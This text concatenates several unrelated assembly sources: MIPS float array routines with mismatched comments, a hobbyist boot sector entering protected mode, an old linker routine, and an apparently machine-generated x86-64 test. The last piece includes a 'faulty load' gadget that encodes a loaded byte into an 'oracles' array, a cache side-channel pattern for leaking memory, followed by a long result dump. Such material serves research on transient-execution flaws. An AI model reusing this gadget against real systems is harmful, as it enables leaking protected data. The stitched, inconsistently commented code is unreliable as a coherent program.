$t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # div_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, # # the destination array, their size and calculates the element-wise div between the first array # # and the second and stores it inside the third # # # # Parameters: # # $a0: address first array # # $a1: address of second array # # $a2: address of third array # # $a3: size of array # # # # Returns: # # # ################################################################################################# div_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t6 addi $sp, $sp, -4 sw $t6, 0($sp) #Store the previous $t7 addi $sp, $sp, -4 sw $t7, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a3, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Create counter_third_array li $t3, 0 #Save starting position of the first array addi $t5, $a0, 0 #Save starting position of the second array addi $t6, $a1, 0 #Save starting position of the third array (destination) addi $t7, $a2, 0 div_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, div_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t5 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t6 #Get current position in the third array_heap addi $t4, $t1, 0 sll $t4, $t4, 2 add $t4, $t4, $t7 #Calculate the product between the two current values #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Get value from the second array and store it inside $f16 l.s $f16, 0($t3) #Do the difference and save it inside $f17 div.s $f17, $f15, $f16 #Store the value inside the third array s.s $f17, 0($t4) #Increment counter_loop and recall loop addi $t1, $t1, 1 j div_1D.s_loop div_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t7 lw $t7, 0($sp) addi $sp, $sp, 4 #Restore the previous $t6 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # add_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, # # the destination array, their size and calculates the sum between the first array # # and the second and stores it inside the third # # # # Parameters: # # $a0: address first array # # $a1: address of second array # # $a2: address of third array # # $a3: size of array # # # # Returns: # # # ################################################################################################# add_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t6 addi $sp, $sp, -4 sw $t6, 0($sp) #Store the previous $t7 addi $sp, $sp, -4 sw $t7, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a3, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Create counter_third_array li $t3, 0 #Save starting position of the first array addi $t5, $a0, 0 #Save starting position of the second array addi $t6, $a1, 0 #Save starting position of the third array (destination) addi $t7, $a2, 0 add_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, add_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t5 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t6 #Get current position in the third array_heap addi $t4, $t1, 0 sll $t4, $t4, 2 add $t4, $t4, $t7 #Calculate the product between the two current values #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Get value from the second array and store it inside $f16 l.s $f16, 0($t3) #Do the difference and save it inside $f17 add.s $f17, $f15, $f16 #Store the value inside the third array s.s $f17, 0($t4) #Increment counter_loop and recall loop addi $t1, $t1, 1 j add_1D.s_loop add_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t7 lw $t7, 0($sp) addi $sp, $sp, 4 #Restore the previous $t6 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # sub_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, # # the destination array, their size and calculates the difference between the first array # # and the second and stores it inside the third (first array - second array) # # # # Parameters: # # $a0: address first array # # $a1: address of second array # # $a2: address of third array # # $a3: size of array # # # # Returns: # # # ################################################################################################# sub_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t6 addi $sp, $sp, -4 sw $t6, 0($sp) #Store the previous $t7 addi $sp, $sp, -4 sw $t7, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a3, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Create counter_third_array li $t3, 0 #Save starting position of the first array addi $t5, $a0, 0 #Save starting position of the second array addi $t6, $a1, 0 #Save starting position of the third array (destination) addi $t7, $a2, 0 sub_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, sub_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t5 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t6 #Get current position in the third array_heap addi $t4, $t1, 0 sll $t4, $t4, 2 add $t4, $t4, $t7 #Calculate the product between the two current values #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Get value from the second array and store it inside $f16 l.s $f16, 0($t3) #Do the difference and save it inside $f17 sub.s $f17, $f15, $f16 #Store the value inside the third array s.s $f17, 0($t4) #Increment counter_loop and recall loop addi $t1, $t1, 1 j sub_1D.s_loop sub_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t7 lw $t7, 0($sp) addi $sp, $sp, 4 #Restore the previous $t6 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # mul_const_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, # # the destination array, their size and calculates the mul between the first array # # and the const element-wise and stores it inside the second array # # # # Parameters: # # $a0: address first array # # $f1: constant # # $a2: address of destination array # # $a3: size of array # # # # Returns: # # # ################################################################################################# mul_const_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a3, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Save starting position of the first array addi $t4, $a0, 0 #Save starting position of the second array addi $t5, $a2, 0 #Store constant in $f16 add.s $f16, $f1, $f29 mul_const_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, mul_const_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t4 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Calculate the sub between the current array value and the constant #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Do the sub and save it inside $f17 mul.s $f17, $f15, $f16 #Store the value inside the second array s.s $f17, 0($t3) #Increment counter_loop and recall loop addi $t1, $t1, 1 j mul_const_1D.s_loop mul_const_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # div_const_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, # # the destination array, their size and calculates the div between the first array # # and the const element-wise and stores it inside the second array # # # # Parameters: # # $a0: address first array # # $f1: constant # # $a2: address of destination array # # $a3: size of array # # # # Returns: # # # ################################################################################################# div_const_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a3, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Save starting position of the first array addi $t4, $a0, 0 #Save starting position of the second array addi $t5, $a2, 0 #Store constant in $f16 add.s $f16, $f1, $f29 div_const_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, div_const_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t4 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Calculate the div between the current array value and the constant #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Do the sub and save it inside $f17 div.s $f17, $f15, $f16 #Store the value inside the second array s.s $f17, 0($t3) #Increment counter_loop and recall loop addi $t1, $t1, 1 j div_const_1D.s_loop div_const_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # add_const_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, # # the destination array, their size and calculates the sum between the first array # # and the const element-wise and stores it inside the second array # # # # Parameters: # # $a0: address first array # # $f1: constant # # $a2: address of destination array # # $a3: size of array # # # # Returns: # # # ################################################################################################# add_const_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a3, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Save starting position of the first array addi $t4, $a0, 0 #Save starting position of the second array addi $t5, $a2, 0 #Store constant in $t6 add.s $f16, $f1, $f29 add_const_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, add_const_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t4 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Calculate the product between the current array value and the constant #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Do the sum and save it inside $f17 add.s $f17, $f15, $f16 #Store the value inside the second array s.s $f17, 0($t3) #Increment counter_loop and recall loop addi $t1, $t1, 1 j add_const_1D.s_loop add_const_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # sub_const_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, # # the destination array, their size and calculates the sub between the first array # # and the const element-wise and stores it inside the second array # # # # Parameters: # # $a0: address first array # # $f1: constant # # $a2: address of destination array # # $a3: size of array # # # # Returns: # # # ################################################################################################# sub_const_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a3, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Save starting position of the first array addi $t4, $a0, 0 #Save starting position of the second array addi $t5, $a2, 0 #Store constant in $t6 add.s $f16, $f1, $f29 sub_const_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, sub_const_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t4 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Calculate the sub between the current array value and the constant #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Do the sub and save it inside $f17 sub.s $f17, $f15, $f16 #Store the value inside the second array s.s $f17, 0($t3) #Increment counter_loop and recall loop addi $t1, $t1, 1 j sub_const_1D.s_loop sub_const_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra
; ----------------------------------------- ; Boot sector ; TingOS Hobbyist Kernel ; MAIN DISK SECTOR CODE ; ; chia_jason96@live.com ; ----------------------------------------- ; ------------------------------------------------------------------ ; Beginning of disk sector ( Sector 2 ) (on CODE_SEGMENT:DISK_READ_BREG) ; ------------------------------------------------------------------ DISK_SECTOR_BEGIN: call DEBUG_BRK call SWITCH_PM DEBUG_BRK: push ax mov ah, BIOS_OUT_TTYPUT ; int 10/ah = 0eh -> scrolling teletype BIOS routine mov al, '#' int 0x10 pop ax ret %include "gdt.asm" ; global descriptor table defines SWITCH_PM: cli ; clear interrupts lgdt [GDT_DESCRIPTOR] ; load the global descriptor table descriptor mov eax , cr0 ; To make the switch to protected mode , we set or eax , 0x1 ; the first bit of CR0 , a control register mov cr0 , eax ; Update the control register jmp $ jmp 0x0000:PROTECTED_MODE ; Make a far jump (i.e. to a new segment) to our 32-bit ; code. This also forces the CPU to flush its cache of ; pre -fetched and real -mode decoded instructions , which can ; cause problems. [bits 32] PROTECTED_MODE: mov ax, DATA_SEG ; Now in PM, our old segments are meaningless , mov ds, ax ; so we point our segment registers to the mov ss, ax ; data selector we defined in our GDT mov es, ax mov fs, ax mov gs, ax mov ebp , 0x90000 ; Update our stack position so it is right mov esp , ebp ; at the top of the free space. jmp $ ;mov eax,STRING_PM_DIS ;call PRINT_HEX32 jmp $ ;%include "s2-s11/print_utils32.asm" ; -------------------------------------------------------------------------------------------------- ; Data string (inclusive of newline and carriage return. with 0 as terminator) ; -------------------------------------------------------------------------------------------------- STRING_PM_DIS: db 'Currently in Protected mode (32bits)...',13,10,0
TITLE INSTSOFT - Copyright (C) 1994 SLR Systems INCLUDE MACROS INCLUDE CDDATA PUBLIC INSTALL_SOFT_REF ; ; DS:SI (CX) IS SYMBOL TO BE ADDED TO LIST OF COMDAT SOFT REFERENCES ; .DATA EXTERNDEF MYCOMDAT_LINDEX:DWORD .CODE PASS1_TEXT EXTERNDEF ALLOC_LOCAL:PROC INSTALL_SOFT_REF PROC ; ;EAX IS SYMBOL_GINDEX TO ADD TO LIST OF SYMBOLS REFERENCED BY THIS COMDAT... ; PUSH EDI MOV EDI,EAX MOV EAX,MYCOMDAT_LINDEX ;LATEST COMDAT REFERENCED CONVERT_MYCOMDAT_EAX_ECX PUSH EBX MOV EBX,ECX MOV EDX,EDI LEA EDI,[ECX].MYCOMDAT_STRUCT._MCD_FIRST_SOFT_BLOCK XOR ECX,ECX L1$: MOV EAX,[EDI] TEST EAX,EAX ;NEXT BLOCK EXISTS? JZ L8$ ;NOPE, GO CREATE IT LEA EDI,[EAX+4] MOV ECX,[EAX] ;SCAN FOR MATCHING SYMBOL MOV EAX,EDX MOV EBX,ECX REPNE SCASD JZ L9$ ;JUMP IF MATCH CMP EBX,SOFT_PER_BLK JZ L1$ ; ;ROOM FOR ANOTHER, STORE IT ; LEA ECX,[EBX*4] INC EBX NEG ECX MOV [EDI],EAX MOV [EDI+ECX-4],EBX L9$: POPM EBX,EDI RET L8$: ; ;CREATE NEW BLOCK, ES:DI GETS POINTER, DX ; MOV EAX,SOFT_PER_BLK*4+8 CALL ALLOC_LOCAL MOV [EDI],EAX LEA EDI,[EAX+8] MOV DPTR [EAX],1 MOV DPTR [EAX+4],EDX XOR EAX,EAX MOV ECX,(SOFT_PER_BLK*4+8-8)/4 REP STOSD POPM EBX,EDI RET INSTALL_SOFT_REF ENDP END
.global s_prepare_buffers s_prepare_buffers: push %r12 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1afe7, %rdx clflush (%rdx) inc %rbp mov (%rdx), %rdi nop and %rdi, %rdi lea addresses_WC_ht+0x4b4f, %rax clflush (%rax) nop nop dec %r12 mov (%rax), %bx nop nop sub %rbp, %rbp lea addresses_UC_ht+0x122e7, %rsi lea addresses_WT_ht+0x65e7, %rdi nop nop nop sub $4339, %r12 mov $29, %rcx rep movsb nop nop nop nop and %rbx, %rbx lea addresses_A_ht+0xd6fb, %rsi lea addresses_A_ht+0x8559, %rdi nop nop nop nop sub %rbx, %rbx mov $79, %rcx rep movsw nop nop nop nop and $21184, %rsi lea addresses_WC_ht+0x1ba27, %rsi lea addresses_normal_ht+0x169e7, %rdi clflush (%rsi) nop nop xor $61020, %rax mov $73, %rcx rep movsl nop dec %rdx lea addresses_D_ht+0x1bba7, %r12 nop nop and %rax, %rax movl $0x61626364, (%r12) nop cmp %rdi, %rdi lea addresses_A_ht+0x135e7, %rsi nop nop nop nop and %rcx, %rcx mov (%rsi), %rdx nop nop nop nop nop and $36782, %rsi lea addresses_UC_ht+0x12317, %r12 nop nop nop inc %rbp movb (%r12), %cl nop nop nop nop nop sub %rsi, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %rax push %rbp push %rdi push %rdx // Faulty Load lea addresses_PSE+0x1d5e7, %r14 nop nop nop add $18888, %rbp vmovups (%r14), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rdi lea oracles, %rbp and $0xff, %rdi shlq $12, %rdi mov (%rbp,%rdi,1), %rdi pop %rdx pop %rdi pop %rbp pop %rax pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 3}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}} {'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A_ht', 'congruent': 10}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 3}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 